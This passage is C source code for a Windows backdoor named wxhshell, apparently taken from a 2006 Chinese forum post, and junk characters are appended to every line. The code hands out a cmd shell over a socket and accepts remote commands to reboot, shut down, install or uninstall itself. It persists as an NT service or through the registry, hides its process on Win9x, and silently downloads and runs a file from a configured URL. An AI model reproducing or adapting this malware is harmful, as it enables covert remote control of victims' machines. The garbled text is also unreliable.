  // 帮助 hb7H- Z2  
  case '?': { zuR!,-W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >lxhXYp  
    break; HjUs}#</  
  } k,O("T[  
  // 安装 bCHA!zO  
  case 'i': { +4EQ9-  
    if(Install()) ve_TpP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1i:l  
    else Js[dT|>.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LDHuf<`  
    break; JX@/rXFY}  
    } 37Vs9w  
  // 卸载 `~QS3zq  
  case 'r': { PvX>+y5  
    if(Uninstall()) sF}T9 Ue  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WPiQ+(pt  
    else 4M'y9(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ax&,  
    break; $5T3JOFz  
    } z/aZD\[_  
  // 显示 wxhshell 所在路径 %{g<{\@4(;  
  case 'p': { Dsc{- <v  
    char svExeFile[MAX_PATH]; sI/Jhw)  
    strcpy(svExeFile,"\n\r"); zl\mBSBx"  
      strcat(svExeFile,ExeFile); (gZKR2hO  
        send(wsh,svExeFile,strlen(svExeFile),0); }6MHIr=o  
    break; }$r/#F/Fn  
    } vL(7|K  
  // 重启 Gb.r!W8  
  case 'b': { Va>~7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _oxhS!.*  
    if(Boot(REBOOT)) 6hQ?MYX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <rV3(qb#]J  
    else { 3G|n`dj  
    closesocket(wsh); pq$`T|6^  
    ExitThread(0); <eK F  
    } F Cg{!h  
    break; 9mfqr$3  
    } E'zLgU)r`  
  // 关机 {(#Dou  
  case 'd': { H'Q4IRT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5%j !SVW  
    if(Boot(SHUTDOWN)) `)$'1,]u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G4][`C]8c  
    else { 5]DgfwX  
    closesocket(wsh); #@Yw]@5M  
    ExitThread(0); uH S)  
    } B B*]" gT  
    break; wB~Ag$~  
    } Z}6   
  // 获取shell !=M[u+-  
  case 's': { :4|ubu  
    CmdShell(wsh); Lgl%fO/<t  
    closesocket(wsh); e>\[OwF-x  
    ExitThread(0); uuW._$.A>  
    break; `+cc{k  
  } 0w}OE8uq  
  // 退出 :G\f(2@  
  case 'x': { n!e4"|4~z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hOjy$Z  
    CloseIt(wsh); yUcWX bT@  
    break; Cc7PhoPK  
    } ~YO99PP  
  // 离开 _Vr>/f  
  case 'q': { &|'k)6Rx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;L(2Ffk8  
    closesocket(wsh); |%.V{vgP7  
    WSACleanup(); .jW+\mIX  
    exit(1);  K9 h{sC  
    break; A7,TM&  
        } x TEDC,B  
  } BMMWP   
  } `) s]T.-  
jt5en;AA[  
  // 提示信息 2;N)>[3*J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X,dOF=OJL  
}  <yE  
  } Ux5pw  
R+Q..9 P  
  return; `{BY {  
} @*kQZRGK7  
$A"C1)d;  
// shell模块句柄 ;s m )f  
int CmdShell(SOCKET sock) Kppi N+||  
{ U'8+YAgc  
STARTUPINFO si; uEqL Dg  
ZeroMemory(&si,sizeof(si)); ;#a^M*e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e%_2n=p~)%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; stn/  
PROCESS_INFORMATION ProcessInfo; {akSK  
char cmdline[]="cmd"; F2jZ3[P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kxs_R#k  
  return 0; JRfG]u6GU  
} Fo  K!JX*  
 vV5dW  
// 自身启动模式 :5`=9 _|  
int StartFromService(void) 3 sUTdCnNf  
{ T \d-r#{  
typedef struct DL$O274uZ  
{ 1nHQ)od  
  DWORD ExitStatus; y>4r<Y ZQ  
  DWORD PebBaseAddress; @ Gxnrh6  
  DWORD AffinityMask; KY}c}*0  
  DWORD BasePriority; AP1Eiv<Hub  
  ULONG UniqueProcessId; =QG@{?JTl  
  ULONG InheritedFromUniqueProcessId; Pv@P(y?\  
}   PROCESS_BASIC_INFORMATION; glk-: #  
U tb"6_   
PROCNTQSIP NtQueryInformationProcess; C%#%_ "N  
zvJQ@i"Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Yi?X|"\`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >J4Tk1//b  
([vyY}43h  
  HANDLE             hProcess; 9 GEMmo3  
  PROCESS_BASIC_INFORMATION pbi; Q)`3&b  
QYl Pr&O9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2VB|a;Mo  
  if(NULL == hInst ) return 0; ^g^R[8  
Y8$Y]2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k&TZ   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q6R``  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >ucVrLm,X  
'E_M, Y  
  if (!NtQueryInformationProcess) return 0; v2Lx4:dzi  
l~_] k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SQ$|s%)oB  
  if(!hProcess) return 0; c*fMWtPp  
d2cslD d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Kyn[4Bu!?  
F@4TD]E0^  
  CloseHandle(hProcess); ;!RS q'L1  
V]4g- CS[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yiourR)H<  
if(hProcess==NULL) return 0; F6g)2&e{/  
8\V  
HMODULE hMod; S}mZU!  
char procName[255]; 1W@ C]n4  
unsigned long cbNeeded; T;?=,'u  
k&oq6!ix  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nw.,`M,N  
kfb*|  
  CloseHandle(hProcess); */8b)I}yY  
`=}w(V8pc  
if(strstr(procName,"services")) return 1; // 以服务启动 $9~6M*  
[Un~]E.'J  
  return 0; // 注册表启动 [SJ-]P|^l  
} =I(F(AE  
=x_~7 Xc{  
// 主模块 9V]{q  
int StartWxhshell(LPSTR lpCmdLine) Ll2yJ .C4  
{ Y.7iKMp(  
  SOCKET wsl; u;@~P  
BOOL val=TRUE; uD'GI  
  int port=0; @^O+ulLJ,]  
  struct sockaddr_in door; LtJl\m.th  
ftaGu-d%  
  if(wscfg.ws_autoins) Install(); S)n+E\c  
9Q*T'+V  
port=atoi(lpCmdLine); DK6^\k][V  
/V>q(Q  
if(port<=0) port=wscfg.ws_port; Xyz w.%4c  
1o Z!Up0  
  WSADATA data; #0:N$'SZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gG?sLgL:  
" A4.2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [5"F=tT7WP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sYMgi D  
  door.sin_family = AF_INET; F"G]afI9+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #8{U0 7]"  
  door.sin_port = htons(port); `]T# uP<u  
ktEdbALK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @7}]\}SR  
closesocket(wsl); [?QU'[  
return 1; jV)4+D  
} yJ0q)x sS  
J*%XtRio  
  if(listen(wsl,2) == INVALID_SOCKET) { 8.Z9 i  
closesocket(wsl); ;z Qrree#  
return 1; NKX,[o1  
} btG+Ak+K*  
  Wxhshell(wsl); $FJf8u`  
  WSACleanup();  << XWL:  
9ZYT#h  
return 0; ntZl(]l  
ru>c\X^|  
} #Yd 'Vve  
bJWPr  
// 以NT服务方式启动 L-,C5^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }Dc7'GZ  
{ w>TlM*3D/  
DWORD   status = 0; ]b+Nsr~  
  DWORD   specificError = 0xfffffff; CRh.1-  
'ZiTjv ]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ab!Cu8~v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i(9 5=t(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n2p(@  
  serviceStatus.dwWin32ExitCode     = 0; I@M3u/7  
  serviceStatus.dwServiceSpecificExitCode = 0; ;WP%)Z  
  serviceStatus.dwCheckPoint       = 0; 8*7,qX  
  serviceStatus.dwWaitHint       = 0; l5/!0]/  
pWm==Ds|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 141G~@-  
  if (hServiceStatusHandle==0) return; 8TE2q Pm  
0Mo?9??  
status = GetLastError(); q+J;^u"E  
  if (status!=NO_ERROR) zm{U.Q  
{ .@kjC4m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0rA&Q0  
    serviceStatus.dwCheckPoint       = 0; zHg1K,t:  
    serviceStatus.dwWaitHint       = 0; "NM SLqO  
    serviceStatus.dwWin32ExitCode     = status; gK#G8V-,  
    serviceStatus.dwServiceSpecificExitCode = specificError; "C~Zl&3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <J o\RUx  
    return; ],l}J'.8<V  
  } eKv{N\E  
u$MXO].Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4\pUA4  
  serviceStatus.dwCheckPoint       = 0; Tw]].|^f-  
  serviceStatus.dwWaitHint       = 0; B]lM69Hz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {Y6;/".DM  
} nX>HRdC  
u]$e@Vw.  
// 处理NT服务事件,比如:启动、停止 !\hUjM+(}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bMvHAtp  
{ j96\({;k  
switch(fdwControl) 6E))4 lW  
{ MRb6O!$`C  
case SERVICE_CONTROL_STOP: h3YWqSj  
  serviceStatus.dwWin32ExitCode = 0; ?H0"*8C?Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5bHS|<  
  serviceStatus.dwCheckPoint   = 0; XPfheV G  
  serviceStatus.dwWaitHint     = 0; ')82a49eA  
  { _q1b3)`D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;X}!;S%K  
  } ?}Y;/Lwx  
  return; 6p)dO c3L  
case SERVICE_CONTROL_PAUSE: wticA#mb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >&?k^nI}J  
  break; [IRWm N-  
case SERVICE_CONTROL_CONTINUE: ^)%TQ.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6xT" j)h  
  break; 3qVDHDQ?ZV  
case SERVICE_CONTROL_INTERROGATE: rsPo~nA  
  break; }M|,Z'@*  
}; .?NraydwV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D6NgdE7b  
} #bZT&YE^  
YacLYo#  
// 标准应用程序主函数 1b LY1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [R%Pf/[Fr  
{ %1UdG6&J_  
tGVC"a  
// 获取操作系统版本 M\L^ Wf9  
OsIsNt=GetOsVer(); ;UPI%DnE]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gQ;1SY!  
v$]eCj'  
  // 从命令行安装 0NFYFd-50  
  if(strpbrk(lpCmdLine,"iI")) Install(); cP,bob]  
<"HbX  
  // 下载执行文件 <UE-9g5?G  
if(wscfg.ws_downexe) { 3OvQ,^[J4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2(s-8E:  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]R%+  
} fKkH [  
d'UCPg<Y  
if(!OsIsNt) { Cj3C%W  
// 如果时win9x,隐藏进程并且设置为注册表启动 >sl#2,br  
HideProc(); -+,3aK<[  
StartWxhshell(lpCmdLine); Jd-u ?  
} 7>$&CWI  
else cms9]  
  if(StartFromService()) +-d)/h.7  
  // 以服务方式启动 96]!*}  
  StartServiceCtrlDispatcher(DispatchTable); 3{FUFx  
else L>>Cx`ASi  
  // 普通方式启动 tv\_& ({  
  StartWxhshell(lpCmdLine); KL^hYjC  
'\4 @  
return 0; 0sGAC  
}
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只看该作者 1 发表于: 2006-10-10
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